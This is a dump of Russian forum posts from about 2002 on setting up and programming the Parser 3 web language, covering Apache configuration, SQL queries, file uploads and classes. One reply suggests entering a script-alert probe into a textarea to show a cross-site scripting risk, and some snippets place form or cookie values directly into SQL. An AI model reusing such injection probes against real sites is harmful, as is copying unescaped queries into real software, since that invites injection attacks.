"2497","а в этом самом html грузи свой шаблон, рисуй на нем и выдавай $responce:body\
\
или, если не нравится, что картинка имеет расширение html нахови файл .gif, и назначь парсер обработчиком и этого расширения (только не делай это по всему сайту)\
а тут у тебя будет тот-же парсерный код, который считает шаблон, нарисует на нем что-нить и выдаст $responce:body\
\
P.S. тут ПАФ сказал что заголовок сам будет проставлен какой надо."
"2498","всё образовалось, в данном конкретном случае путь был не /home/мойлогин/public_html а /home2/мойлогин/public_html.\
Подставил двоечку и всё образовалось"
"2499","была криво написана проверка, \
-f и -d сейчас не отличают файл/каталог.\
скоро выложим исправленный бинарник, в cvs уже правильно."
"2501","У некоторых провайдеров переменная окружения DOCUMENT_ROOT не указывает как ей полагается на реальный корень веб-пространства и из-за этого иногда не очень удобно работать. Как один из путей решения проблемы:\
\
В файле parser_3.c в строчке 248:\
[code]\
if(const char *env_document_root=SAPI::get_env(*pool, \"DOCUMENT_ROOT\"))\
[/code]\
заменить DOCUMENT_ROOT на любую другую переменную скажем SITE_ROOT:\
[code]\
if(const char *env_document_root=SAPI::get_env(*pool, \"SITE_ROOT\"))\
[/code]\
Затем определить переменную SITE_ROOT (указывающую на реальный путь к корню) в .htaccess \
[code]\
SetEnv SITE_ROOT /реальный_путь_к_корню\
[/code]\
собрать парсер и радоваться. Я не знаю что будет под ОС не Windows, но под виндой у меня такой фокус прошел и с модулем для Apache и с CGI вариантом."
"2502","Вот это другое дело!\
Спасибо."
"2503","Если бы парсер всегда искал главный конфигурационный файл под боком у себя, и только потом по всем другим locations. А уж там можно определить, где у нас docroot, можно ли читать файлы не своей группы и т.п. ..."
"2504","Не подскажите, почему p3 не запускается в winXP? Parser2 работает нормально.\
Сервер - Apache 1.3.2.\
Сообщение об ошибке:\
[Mon Jun 10 15:56:21 2002] [error] [client 127.0.0.1] couldn't spawn child process: d:/program files/apache group/apache/cgi-bin/parser3.exe\
"
"2505","запусти просто [DblClick]\
как пить дать, забыл .dll'ки xml'ные положить рядом"
"2506","Кто-нибудь сталкивался?\
Из базы Вибираются данные - текст, в котором обзацы разделены пустой строкой. При вставке в textarea эти строки пропадают.\
Как это победить?"
"2508","Да. Спасибо.\
Я уже сам... подобрал.\
Я не очень понимаю как работают taint untaint :("
"2510","Очень нужен оператор, который читает файл с заданной по заданную позицию.\
Мне приходиться сейчас загружать в таблицу 46 мб, а это ой, как напряжно...\
\
ЧЕ ДЕЛАТЬ ?\
\
(насчет баз данных не беспокойтесь. я знаю. не подходит.)"
"2512","Файл ко мне готовый приходит. не я его генерю."
"2513","а файл пусть лежит себе спокойно"
"2514","Решил вот XML-ем занятся.\
Что посоветуете для домашнего чтения?\
И для практического применения.\
А самое главное понимания использования и ли может так кто расскажет?\
\
З.Ы.\
Сори :-( за Офф-Топик."
"2517","у михи временный lapse :)"
"2518","parser не задуман обрабатывать. каждый должен заниматься своим делом.\
если вдруг кто не знает о import в mysql базу одной командой, могу на win32 предложить создать odbc datasource на этот файл, и работать через ним по odbc[небыстро, но удобно]"
"2519","Почему?\
У меня его вариант работает."
"2520","попробуй вписать в этот textarea <script>alert('hi')</script>"
"2521","привет. мне кажется, что ограничение парсера тут ни при чем ;-) Просто если есть файлик 64М с данными, которые нужно все время обрабатывать, то это симптом ;-)"
"2522","\"Автоиндекс\" == auto_increment ?\
\
и что значит \"изменить\"? поменять значение в одной записи?"
"2524","Да что-то я не то ляпнул :-(\
\
Но суть вот в чем.\
При удалении из базы строки (и соответственно её уникального индификатора) я хочу чтобы у всех остальных они менялись соответственно. Т.Е. снова стоновились упорядоченными (1,2,3,4,5....N), по порядку!\
"
"2525","тогда не используй auto_increment. просто сделай уникальный индекс и все. А еще лучше, сделай новое поле с порядковым номером и пересчитывай его при insert и delete $-)"
"2526","^table.line[] не годится?\
такая колонка в базе сильно сомнительна."
"2529","Не подскажете, как запустить Парсер на hoha.ru?\
Делал по тамошней инструкции, но не заработало; а на этом форуме отвечают куда как быстрее!\
\
Интересует:\
1. содержимое файла .htaccess\
2. куда его положить\
3. parser.cgi - text or binary?\
4. права и аттрибуты файлов\
5. содержимое parser.conf\
6. правильно ли я скачал Parser for FreeBSD 4.5 ?\
И прочие действия, которые необходимо совершить для установки и прописвания Парсера.\
\
Сервер сейчас отвечает 'Error 500' - 'Server made boo boo'."
"2533","Подскажите, на бесплатном хостинге можно приютить парсер? Хочется попробовать свои скрипты в реальности а не только на домашнем апаче."
"2534","ведь ерунда на 10 строк, если хочешь я даже помочь могу. :-)"
"2535","Givi написай сайт parser.hoha.ru - по нему и делай, должно получится"
"2536","http://www.ozon.ru/detail.cfm/ent=2&id=39180\
\
Неплохо написано и издано. Все примеры продублированы на прилагаемом CD. \
\
Поищи и другие - http://www.ozon.ru/Searchresult.cfm?Str=XML"
"2537","Скопировать все данные во временную таблицу (без столбца с id), а потом пересоздать её заново и забрать данные из временной таблицы обратно. Все строки выстроятся по ранжиру...\
\
Парсером я бы это не стал делать, т.к. у тебя есть весьма высокая вероятность превысить лимит выделяемой процессу памяти.\
\
Только ума не приложу, на хрен тебе оно сдалось - откуда такая задача?"
"2538","А ?"
"2541","P.S. пиши в тело код... И заключай в [ code ]...[ /code ]. А то читать очень неудобно."
"2542","В том то и дело. парсер его за число принимает. а не нужно ."
"2544","А что тебе мешает заменить точки на пустоту и получить число?"
"2545","У меня третья"
"2546","http://www.mozilla.org/releases/\
http://www.mozilla.org/releases/mozilla1.1a/\
;-)"
"2547","Подскажите пожалуйста кто знает, как реализовать следующее:\
\
1) User в поле email вводит свое мыло, потом это все передается на обработку, и как реализовать проверку с помощью mach, а то нихрена с ним разобраться не могу.\
\
2) User в поле даты должен ввести дату в фрмате ДД.ММ.ГГГГ. Как реализовать проверку с помощью mach?"
"2549","[code]$str[$form:date]\
^if(^str.match[^^\\d{2}\\.\\d{2}\\.\\d{4}\\^$]){\
  Дата в правильном формате\
}{\
  Дата в неправильном формате\
}\
[/code]\
\
Аналогично e-mail. Поищи, есть готовые выражения для проверки мыла."
"2551","огромное тебе и Givi.\
Сайт заработал (starostin.hoha.ru), все в порядке. \
Если вдруг кто на него полезет, скажите, на что у него похож интерфейс? Не заморочен ли он?"
"2552","Я разместился на 'hoha.ru'.\
Поскольку я там один день, про качество не скажу; но Парсер там работает. Givi сделал сайт 'parser.hoha.ru', по инструкциям которого даже я все настроил правильно."
"2553","Если коротко -  файлы  с расширением .p  это просто текстовые файлы с командами parsera. То есть его надо просто написать самому согласно примерам указанным в документации. "
"2558","Вот такой код:\
[code]\
$photos[^table::load[/photos/photos.cfg]]\
^photos.sort($photos.album)[asc]\
[/code]\
выдаёт следующую ошибку:\
[quote]'first' invalid number (double)  type: number.format[/quote]\
(first - значение столбца album в первой строке таблицы). Но Parser под документации ведь должен и \"сравнивать значения в лексикографическом порядке\". В чём тут может быть дело?"
"2560","В процессе работы некоего приложения (тест) порождаются средних размеров таблицы. Во время сессии пользователь модифицирует эти таблицы 10-30 раз. Что лучше в плане загрузки машины - передавать эти таблицы каждый раз вместе с html-файлом, писать на диск или кидать в MySQL?\
В первом случае растет трафик, во втором - нагрузка на диск, в третьем - тоже что-то.."
"2563","В 1.0 та же лажа с отображением..."
"2564","клиент заполняет, например, большую анкету, состоящую из многих страниц и тебе нужно тащить за собой заполненные страницы до того момента, как будет заполнена последняя?\
\
Не тащи данные в HTML-коде страниц. У клиента может из-за чего-то повиснуть браузер и ему придётся всё заполнять снова. Он может полезть в код и подправить hidden-поля. Ещё много чего может случиться...\
\
Остаётся хранение в MySQL и в текстфайлах. Я бы выбрал первое из-за того, что ценю своё удобство при программировании больше производительности сервера. Да и не убеждён, что к текстовым файлам обращаться будет быстрее..."
"2565","Как можно отключить оптимизацию выдаваемого кода. Ниже приведённый код не помогает. [code]@postprocess[body]\
#^untaint[optimized-html]{$body}] \
^untaint[html]{$body}\
[/code]"
"2566","Мне например и в голову не приходит из одного броузера импортить букмарки в другой."
"2567","Открываешь букмарки в Mozilla, а там уже есть подгруппа Imported IE favoriries. И если с US English оно справляется, то с русским - никак.."
"2568","Константин, слово untaint означает \"снять краску\".\
понятно, снять можно только то, что есть.\
где нет краски, снять её нельзя = оператор ничего не сделает.\
диагноз: ^taint[html][...]\
\
между делом вопрос: зачем? ведь browser сделает то же самое.\
между делом догадка: в textarea хочется enter+enter чтобы не превращался в enter(один).\
для этого в textarea нужно писать \
[code]\
<textarea>^untaint[html]{...}</textarea>\
[/code]"
"2569","100,000 временных файлов в каталоге - не слишком много, как думаешь? (по сравнению с 100,000 таблиц в БД)."
"2570","Слушай, дорогой, опиши свою задачу поподробнее - что-то мне подсказывает, что ты чего-то неправильно делаешь. 100000 временных таблиц - это неправильно."
"2571","макрос \
\
@SMTP_SERVER[]\
localhost\
@end\
\
выдаёт ошибку\
\
[sendmail error #13, SMTP server 'localhost'] \
\
хотя в PHP сообщения нормально отправляються с такого же хоста"
"2573","Поищи про error#13 на старом форуме - это обсуждалось."
"2575","создаю два класса: mysql и forum. (здесь mysql из примеров Misha v.3)\
в auto.p пишу:\
$MAIN:pSQL[^mysql::init[mysql://root:@localhost/test]]\
$MAIN:pForum[^forum::init[Форум]]\
\
в классе forum в методе пишу:\
@getMessagesByParent[parent_id;limit]\
$result[^table::sql{SELECT....}]\
и получаю:\
contains illegal assignment attempt of table to MAIN wwrapper, use constructor getMessagesByThread...\
\
в чем проблемма? че это вообще за резулт? просто моя переменная или что-то внутреннее? в доке нет ниче, вроде просто переменная. пересекается с классом pSQL? но как? \
ниче не понимаю. Если у кого-то есть ответ на ентот вопрос, буду очень рад его услышать.\
\
P.S. зачем так в доке про классы написали? Кто знает что такое класс (Си учил напр.) поймет и без лишней болтовни, а кто не знает - хоть на 1000 стр. разжуй - не въедет. В итоге ни вашим ни нашим. Туманная дока очень. На технич. док-ю не тянет. Это _мое_личное_ мнение."
"2576","надо куда-нить положить.\
Этот результат - таблица.\
Т.е. если попытаться выполнить в чистом поле ^getMessagesByParent[...] то получишь именно это сообщение (парсер не знает, как выплюнуть на экран объект типа таблица...).\
\
Надо так:\
$tbl[^getMessagesByParent[...]]\
Далее что угодно делай с этой таблицей, например:\
^tbl.menu{...}\
\
Судя по тому, что ты написал проблема в методе getMessagesByThread\
\
Про $result\
\
Если в методе определена переменная $result, то как результат выдается ее значение, а не то, что \"навыводилось\"\
\
[code]\
@test[]\
aaa\
$result[bbb]\
[/code]\
\
^test[] выведет bbb, а ааа мы никогда не увидим.\
\
P.S. по моему про резалт есть в доке... ну должно быть..."
"2577","в auto.p\
некая фунцкия делает запрос к базе и вывод\
в xxx.html\
некая функция делает update базы\
получается, что update происходит позже вывода,\
\
т.е. в auto.p некорректную инфу выводит\
\
как бы так грамотно все на свои места поставить ?\
порядок обработки установить.\
\
читал про postprocess - \
по-моему это не то, что нужно."
"2578","считал Result локальной переменной - как раз той, в которую загружается таблица. Наверное надо написать доку про классы парсера классическую, классы: определение, наследование, методы.... без воды. (все знаю что надо делать, а результат contains illegal assignment :) короче как обычно.\
\
спасибо за парсер и за ответ."
"2579","есть проблема... Здорово. Тут каждое сообщение проблема. Есть форум - есть проблема, и наоборот.\
Тут писали про содержание заголовков, не раз..."
"2580","Не вижу никакого смысла в перегружании страницы,\
должен быть механизм, или идеология \"правильного\" программирования.\
"
"2581","хочу помочь, но понять вопрос трудно. может уточнить?\
может имелась в виду одновременность обработки?\
в oracle/mssql есть транзакции, в mysql [читал] тоже [не по-умолчанию]. в mysql есть \
[code]\
LOCK tables -list-\
[/code]"
"2582","Человек сначала (в auto.p) грузит данные и выводит их, а потом, после вывода - менякт в базе. Очевидно, что отображается то, что уже не существует...\
\
Сдается мне, надо просто порядок действий поменять, или \"перевыбрать\" из базы после обновления"
"2583","Беру опять из \"форума\" (всем понятней будет и полезней ??)\
\
@CLASS\
forum\
\
@createHashTree[messages][hashTree]\
$hashTree[^hash::create[]]\
...\
$result[$hashTree]\
\
В функции (методе) создаю хэш. В синтаксисе функ-ии нет ошибки?\
В доке опять не нашел (да тупой, не могу там ниче найти)\
Этот hashTree локальный, функция его создала, с ним поработала и выплюнула через $result[] его содержимое.\
\
@printMessagesByParent[parent_id][levelmessages]\
^if($hashTree.[$parent_id]){\
...\
Снова видим $hashTree. Откуда он? из createHashTree[]? Он глобальный, один раз быв создан виден всем методам? доступен из вне?\
"
"2585","Нет, нет\
просто получается, что вывод сначала делает \
функция из auto.p, а потом отрабатывется функция из xxx.html,\
которая делает update.\
[code]\
Корневой auto.p\
--------------------------------------------------------------\
@main[]\
...\
<table><tr>\
<td>^leftcolumn[]</td><td>^rightcolumn[]</td>\
</tr></table>\
...\
--------------------------------------------------------------\
auto.p\
--------------------------------------------------------------\
@leftcolumn[]\
^showcash[]\
@showcash[]\
$cash[^table::sql{SELECT \
	ROUND(a.amount*b.koef,2) as units,b.name as curr\
	from egold a,currency b \
	where a.account_id='$cookie:id' and b.id=a.currency\
	}]\
^cash.menu{$cash.units $cash.curr}[<br />]\
--------------------------------------------------------------\
something.html\
--------------------------------------------------------------\
@rightcolumn[]\
.... ^void:sql{update egold ...} ...\
Updated !\
--------------------------------------------------------------\
[/code]\
Получается, порядок обработки функций делает update после select.\
\
Вот в чем проблема,\
а может в построении моей структуры ?"
"2586"," - не представители Студии, а простая общественность - кто из вас пользуется user-defined классами? Назовитесь, плиз! Хочу пересчитать поднятые в зале руки. Я - не пользуюсь, потому что слабо въехал...\
\
Это я к тому, что глава про классы в том виде, как она есть в доке, неприемлема. Она малопонятна для простого юзера и сыровата для hardcore developer'а. Выкинуть бы её или переставить в конец, чтобы народ не смущала..."
"2587","Там ниже написано:\
@main[]\
...\
$hashTree[^createHashTree[$messages]]\
...\
\
вот тут-то и достается в $hashTree дерево, которое в дальнейшем используется в printMessagesByParent.\
\
Можно его туда передавать, но... не зачем это делать в примере :)\
\
"
"2588","Что бы \"перевыбрать\" из базы после обновления ?"
"2589","То, что пишется в auto.p не должно заниматься выводом данных (IMHO), а должно или заниматься обработкой или предоставлять какие-либо методы, которые вызываются для вывода из страницы."
"2591","А может простая общественность сама доку напишет? а представители Студии помогут ответами на вопросы.\
\
Так весь р3 на классах построен - куда без них. С ними жить НАМНОГО проще, на самом деле.\
а насчет фирменной доки ты очень хорошо сказал - мягко и тактично. Не матом. Мол-д-ец.\
люди трудились ведь над ней немало, программеры? наверное редакторы (лит-е)"
"2592","нахаляву:\
Корневой auto.p\
[code]\
--------------------------------------------------------------\
@main[][rightcolumnvalue]\
...\
$rightcolumnvalue[^rightcolumn[]]\
<td>^leftcolumn[]</td><td>$rightcolumnvalue</td>\
</tr></table>...\
--------------------------------------------------------------\
[/code]\
\
но так лучше не делать. \
грамотнее вынести действия куда-то.\
\
Корневой auto.p\
[code]\
--------------------------------------------------------------\
@main[]\
...\
^actions[]\
...\
--------------------------------------------------------------\
@actions[]\
#nothing\
[/code]\
.html\
[code]\
--------------------------------------------------------------\
@actions[]\
#updates here\
[/code]\
"
"2593","А мне казалось, что для написания своего класса доки вполне достаточно.\
Есть пара небольших недочетов, но куда без этого... В общем, внимательней РТФМьте ;-)"
"2596","Нет, правда трудно разобраться. Писали то те кто с парсером работает небось, народ не в синтаксис - в логику работы классов не въезжает."
"2598","угадай, куда пошла сегодня вторая половина дня?\
[поставь на мине задержку 01:00:00]"
"2600","http://parser.ru/forum/?terms=%F0%E5%E4%E0%EA%F2%EE%F0&searchInMessage=1&author=&doSearch=%CD%E0%E9%F2%E8"
"2601","что редакторы, что ^is_email[] - все это можно найти поиском по форуму, как ни странно..."
"2602","Делаю:\
[code]\
$tmp[^file::load[binary;/pic.gif]]\
^taint[file-spec][$tmp.text]\
[/code]\
Получаю же совсем не то, что ожидал. Вместо преобразованного тела файла получаю преобразованную строчку из него. Как будто файл открывается как текстовый. С текстовыми такой проблемы не возникало.\
В чём дело?"
"2604","Система - Win2k Pro SP2\
Default locale - сработало с Russsian и Hebrew.\
(В Favorites есть файлы на иврите и русском)\
Вот.\
"
"2605","Очень неудобно выдаваемый код потом смотреть, если все Tab'ы (двойные пробелы, переводы строк, ...) удалены. :-( Предлагаю возвратить оператор отменяющий такое преобразование. Или его можно реализовать как-либо по другому уже сейчас? Конструкция [code]^untaint[html]{<PRE>    d    d</PRE>}[/code] не даёт нужного эффекта. :-("
"2606","Чего-то желающих нет. Что так?"
"2607","Дока просто замечательная, хотя на первых порах сам как мог ее ругал. Просто попробуйте действительно ее [b]почитать[/b] :)\
\
Классы описаны очень понятно. И я с удовольствием их юзаю. Я никогда не имел дело с подобной ерундой. К примеру, офиц. доку по PHP воспринимать не мог вообще никак... Теперь читаю - все понятно, после доки по парсеру, оф корсе... Только нафига вот теперь PHP нужен... :)"
"2608","Например UltraEdit http://www.ultraedit.com/"
"2610","и это очень даже удобно, тут просто надо привыкнуть к механизму работы с классами и это даст серьёзные преимущества."
"2611","[b]это не в духе parser[/b], я часто буду повторять эту фразу.\
\
работа с байтами бинарного файла — нетипичная деятельность для сайтостроительства, \
[code]\
^file::exec[dothatin.pl]\
[/code]"
"2613","Никак не пойму какой должен быть код для того чтобы ставить ссылку на подраздел. Например на этом сайте когда переходишь в раздел форум то на форум ссылка не стваиться, это всё понятно, но когда открываешь сообщение в форуме то ссылка на форум ставиться но цвет столбца остаётся тёмно серым? Может кто объяснит как?"
"2614","Достаточно использовать \
[code]\
^if($request:uri in \"/forum/\"){\
    Мы внутри раздела => подсвечиваем\
}{\
    Мы в другом разделе\
}\
[/code]"
"2615","Конечно\
[code]\
^if(in \"/forum/\"){\
...\
}{\
...\
}\
[/code]\
Обшибся по-старинке ;-)"
"2616","ты просишь чтобы за тебя написали код, это никто не станет делать, кроме тебя самого разумеется, а вот с идеями дело другое, - здесь их надают очень много."
"2617","При попытке добавить в таблицу в базе данных строчку оператором\
^void:sql{insert into news (date, header, body) values ('^now.sql-string[]', '$form:header', '$form:body')}\
выдается сообщение\
CDBException: Ошибка синтаксиса в инструкции INSERT INTO.\
insert into news (date, header, body) values ('2002-06-14 16:17:37', '1231', 'sdsd')\
c:/inetpub/test/news/adm/index.html(25)exception.type=sql.execute \
\
база под access, поля в таблице news\
date - дата\
header, body - текст"
"2619","в аксессе единственный типа работы с датой называется дата/время, именно его я и поставил, других то нет"
"2620","Нет... Просто одновременно будет столько файлов (10-30 тыс. посетителей, по 3 файла на каждого, сессию храним 6 часов). 30 раз процессить - это в течение дня. Столько же раз проверять и удалять старые."
"2623","Если первое - это капля в море, то второе полный \"полярный лисиц\".\
\
По моему ты что-то не правильно задумал делать.\
Храни это как записи в таблице."
"2624","Переименовал в news_date, все заработало.\
А потом еще говорят что программеры в микрософт не &%#$*$# :((\
извините."
"2625","...если-бы ты обращался к ней не как date, а как [date]\
\
P.S. я надеюсь, по крайней мере так у M$SQL\
P.P.S. аксес, как я уже сказал, я не знаю."
"2626","( и эту циферку в этом же инсерте запихнуть в базу)\
Ситуация:\
таблица - поля, среди них id INT(10) NOT NULL AUTO_INCREMENT PRIMARY KEY. Когда я пихаю запись в табл, он ставится автоматически - самый большой id в таблице + 1.\
Можно ли узнать какой id будет у вставляемой записи в этом же запросе insert?\
И не возникнет ли у мня проблем - если я делаю insert (запрос 1), а потом выбираю самый большой id из табл.(запрос 2) (напр.)\
Может между моими запросами 1 и 2 кто-нить сделать insert в базу?\
Я тогда ведь получу id его записи....."
"2627","не от Microsoft. Мне почему-то кажется что для зарезервированных слов будет то же самое. Проблема эта не только с Microsoft, так что я думаю здесь ты зря их ругаешь."
"2630","INSERT INTO my_table (\
	value_id, body\
) VALUES (\
	INSERT_ID(),'any_body'\
)\
\
Бед синтаксис :( \
у меня mySQL win32 v3.23.38"
"2631","после INSERT сказать\
\
[code]\
select LAST_INSERT_ID();\
[/code]"
"2632","Понимаю что лучше уж сразу в десять - чтобы раз и навсегда, но такой уж вопрос, никуда не денешься.\
\
На самом деле эти таблицы объединены по полю A например."
"2633","Я тогда ведь его LAST_INSERT_ID(); получу - а не свой.\
(ну это тоже часть вопроса моего)\
\
Можно где нить почитать не как набрать SELECT на клав., а что происходит в базе (программе) самой? как она внутри работает - принимает и обрабатывает запросы...."
"2634","Он возвращает последний id вставленный в данной сессии с БД. Другие сессии (параллельный ввод) не влияют. Это именно last inserted, а не max..."
"2635","last_insert_id() формируется после инсерта.\
а если у тебя поле автоинкрементарно, присваивать его совсем лишне."
"2637","А что мешает сделать это последовательно?"
"2639","А если у меня очень много запросов?\
(сорри за любопытство, можно не отвечать(нос отрывать тоже не надо :-))"
"2643","и при загрузке раздела сравнивать оный с некой таблицей. Получать этот id можно анализируя строку запроса... типа что-то в этом роде :)"
"2644","метод getMessageById\
--------------------\
^MAIN:pSQL.left_join[from;forum_message_body;forum.forum_message_body_id = forum_message_body.forum_message_body_id]\
\
такое ощущение, что --forum.forum_message_body_id-- должно выглядеть как --forum_message.forum_message_body_id--.\
\
получаю:\
You have an error in your SQL syntax near 'LEFT JOIN forum_message_body ON ...."
"2646","Или я один только в этом копаюсь, а остальные все супер-хорошо знают и на это время не тратят?\
шибко уж \"дешевая\" ошибка :)\
я подвохов ждал в коде парсера (хэш не работает - но я не разбирался пока)\
правильнее так (для пиплз, автор знает и сидит посмеивается:)\
\
FROM\
forum_message\
^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_body_id = forum_message_body.forum_message_body_id]\
"
"2650","Что делать, если в $.alt[] [b]очень[/b] надо записать \"  ?"
"2651","??"
"2652","естественно всё криво написано но работает, все названия беру из примеров.\
\
@navigation_cell[] \
^if($sections.uri eq $request:uri){ \
тут ссылка не ставиться на текущий раздел\
}{ \
^in[]\
} \
@in[]\
^if(in \"$sections.uri\"){\
ссылка ставиться на все подразделы находящиеся в текущем $sections.uri\
}{\
ссылка на все остальные разделы сайта\
}"
"2653","сабж о уплоде images через форму."
"2654","Дока:\
\
[b]$файл.name[/b]\
\
Поле содержит имя файла. Объект класса file имеет поле name, если пользователь выбрал файл через поле формы с типом <input type=file>. Также в конструкторе file::load может быть указано альтернативное имя файла."
"2655","[code]\
^if(def $form:form1){ \
   ^form:form1.save[binary;/test/upload/form1] \
} \
[/code]\
\
что должно быть вместо ./from1 ?\
(где   <input type=\"file\" name=\"form1\"> )\
как правильно ? (дока ... ууух)"
"2656","[code]\
^if(def $form:form1){\
 ^form:form1.save[binary;/test/upload/$form:form1.name]\
}\
[/code]"
"2657","Может кому пригодиться... :-)\
Веб-сервер у меня в ИНТРАНЕТЕ!!!\
Почему-то апач игнорировал все  мои записи в .htaccess поэтому все настройки у меня в httpd.conf\
\
1) Добавить такие строки:\
#Для PARSER v.3\
<Files ~ \"\\.(p|cfg|conf)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Action text/html /cgi-bin/parser3.exe\
\
2) Раскоментировать следующую:\
\
AddOutputFilter INCLUDES .shtml\
\
3) В папку cgi-bin скопировать parser3.exe\
и parser3.conf -> (Основной конфиг)\
и там же создать папки:\
              lib\
              parser3.charsets\
в них положить то что написано в документации.\
\
4) в ServerRoot кидаем parser3.conf -> (Конфиг сайта)\
\
и вуаля... %-)"
"2658","(С) масяня."
"2661","пасер пускается под моим именем, sendmail принадлежит root'у. как быть, если парсер собран с опцией --disable-foreign-group-files? (ессно, я с рутом не в одной группе)"
"2662","Пример использования: \
[code]\
$myphoto[^image::measure[myphoto.jpg]] \
^myphoto.html[ \
   $.border[0] \
   $.alt[Это я в молодости…] \
] \
[/code]"
"2663","Ситуация такая. Стоял парсер на сервере, работал. Потом админ переустановил всю систему (и веб сервер наверно тоже) и после этого парсер перестал работать.\
\
Если обратитьсяк нему напрямую /cgi-bin/parser/parser2.cgi то получаю Internal Server Error.\
Если положить в ту же директорию какой-нибудь ругой cgi скрипт, то он работает. Права на скрипты 755.\
\
Если запросить какой-нить html документ, то получаю\
Not Found\
The requested URL /cgi-bin/parser/parser2/index.html was not found on this server.\
\
В .htaccess прописано\
AddType parsed-html html\
Action parsed-html /cgi-bin/parser/parser2\
\
или '.html'\
\
Помогите.\
\
\
"
"2664","a cgi ?"
"2665","В error.log пишется:\
Premature end of script headers: /path/to/cgi-bin/parser/parser2.cgi                     \
parser2.cgi: error while loading shared libraries: libstdc++.so.2.8: cannot open shared object file: No such file or directory\
"
"2666","Работает ? - да я же сказал. И парсер как бы работает, но ошибку выдает в логи (см. мое второе сообщение)"
"2667","Уж наверно, если я пишу про $.alt[], то знаю ...\
\
Прочитай вопрос внимательно."
"2670","Ну, то есть я им пользуюсь, конечно ...\
\
Но у MSIE 4-5 иногда ба-альшие траблы из-за этого\
(кодировка - hebrew iso-visual) возникают.\
"
"2671","...где альт у тебя будет в '' и внутрях пиши обычные кавычки... делов-то..."
"2672","что твой админ не установил эту библиотеку. Возьми static-версию - все заработает"
"2673","что в .htaccess надо писать\
Action parsed-html /cgi-bin/parser/parser2.cgi\
а не\
Action parsed-html /cgi-bin/parser/parser2"
"2674","Достаточно разрешить пользователю перезаписывать FileInfo\
[code]AllowOverride All[/code]\
в httpd.conf в разделе того \"обычного\"/виртуального сервера, в котором устанавливается parser.\
\
Переписывать Action для text/html совсем даже лишне - можно поиметь проблемы с отдачей клиенту файлов типа .txt  и почих с MIME-type == text/html\
В данном случае правильней объявить parser обработчиком нового типа и поменять Action  у него\
[code]\
AddPandler parser3-filez .html\
Action parser3-filez /cgi-bin/parser3.YOUR_EXTENSION\
[/code]"
"2675","[code]\
^form:photo.save[binary;photo.jpg]\
[/code]\
Вроде делаю, как в документации, а получаю - 'binary' unknown mode, must be 'append'  type: parser.runtime"
"2677","Проверяем есть ли файл в папке и сохраняем :\
[code]\
^if(def $form:form1){\
$list[^file:list[/test/upload;\\.jpg^$]] \
^list.menu{\
#$list.name}\
^if($list.name eq $form:form1.name){файл $form:form1.name <b>Уже существует</b>}{\
^form:form1.save[binary;/test/upload/$form:form1.name]}        \
}\
 }\
\
[/code]\
куды мне вставить сообщение типа : успешно сохранилоcь на сервере ?\
:))"
"2680","Убрал. Создаётся файл с именем photo.jpg, в который записывается имя закачанного файла."
"2681","...весь код приводи, а то \"как в документации\" очень часто оказывается далеко не как в ней :)"
"2682","...что ты хочешь сказать своим кодом...\
\
Гляди, ты для каждого файла каталога, если он имеет имя не такое как ты грузишь - пытаешься что сделать? правильно, записать файл. \
\
Мне это кажется неверным.\
\
Мне кажется, что проверять существование файла надо не с помощью menu а с помощью locate\
\
[code]\
^if(^list.locate[name;$form:form1.name]){такой файл есть}{нет такого файла}\
[/code]\
\
"
"2683","Какую именно ?\
Сейчас стоит:\
http://parser2.parser.ru/download/binaries/linux/i386_redhat70/parser10_linux_i386_redhat70_nosql.rpm\
\
Система RH 7.2"
"2684","Написал. Но какая разница, если сам парсер не работает? При обращении к нему на прямую, выдается 500 Internal Server Error, а в апачевский error.log пишется то, что я привел выше."
"2685","Тобишь [url=http://parser2.parser.ru/download/binaries/linux/i586_2x/parser10-168.alx3-linux-ix86-glibc2-staticmysql.tar.gz]вот эту[/url]\
\
Не обращай внимание на то, что она mysql - там все вкомпилировано и ничего ей еще не надо. Даже MySQL ;-) (Сам MySQL, конечно, не вкомпилирован, но необходимые библиотеки - да)"
"2687","Кстати, в документации на parser 3 загрузка файлов освещена очень вскользь."
"2688","я думал, что можно было через меню :) , даже получалось до какой -то степени .. :))"
"2689","Миша мне кажется уже ничему не удивится, особенно после классного примера на 2м парсеровском форуме, где наличие выполненного условия товарищ проверял создан ли соответствующий макрос ;)"
"2690","ничья в нашу пользу\
\
Egr - Misha (234:234)"
"2691","Написать сею короткую заметку меня \"соподвигли\" еще не завершившиеся дебаты по поводу построения деревьев различными средствами. На ваш суд предлагаю свой метод, не очень правильный, не очень удобный и не очень красивый, можно даже сказать \"корявый\", но, т.к. это дело работает, то не воспринимать \"это\", как решение нельзя, я думаю :)\
\
Итак:\
Задача решалась в два этапа (как нам и рекомендовал товаричщ Миша на старом форуме). Первый - выбираем все темы, где [code]level=0[/code], затем обрабатываем то, что выбрали и выводим окончательный вариант. Вот, совершенно немного почитав, (но, к своему стыду, не до конца и не вдумчиво) статью нашего [b]идейного вдохновителя[/b] :), можно сделать следующий вывод:\
[quote]\
Далеко не всякие сервера баз данных умеют делать это. В частности наиболее популярный из-за того, что он бесплатный, MySQL не умеет делать этого.\
[/quote]\
Да, древо из MySQL достать сложновато, тем более с нашими корявыми руками :) Но где наша не пропадала...\
\
[code]\
$forum[^table::sql{select parent from table where level=0 order by published DESC}]\
$select[^forum.menu{$forum.parent;,}]\
$zzz[^table::sql{select * from table where parent in($select) order by parent DESC, id ASC}]\
[/code]\
\
[b]Замечания[/b]\
id - вставляется автоинкрементом, поэтому нет нужды сортировать по дате - чем больше id, тем \"старше сообщение\". Конечно, это подходит только для \"элементарных\" решений и для серьезных BOARDов с супер-возможностями никуда не годится. Но чем дальше юзаешь, тем больше приходишь к выводу, что чем проще - тем лучше... Мне вот лично пришлось повымудряться с настройками для того, чтобы \"уважить\" всех постояльцев форума. Но лишнего ничего прикручивать не собираюсь - зачем, если люди не пользуются...\
\
[b]Получаем[/b]\
Довольно своеобразное древо, которое немного отличается от того, что мы сейчас юзаем на данном форуме. Т.к. Ответы не отбираются по levelю, а пихаются 'как есть', т.е. последний ответ будет последним в ветке. Удобно это, или нет - решать не нам, а тем, кто будет данный форум юзать.\
\
Да, вот тут еще вопрос о том, как ограничивать кол-во топиков возник. Ну конечно, не нужно использовать [code]limit[/code], хотя сделать это руки так и тянутся. Но все же, из всех \"популярных\" хостеров, которые нам предлагают свои услуги, я не нашел ни одного, который бы не предлагал любезно использовать MySQL в своих проектах...\
\
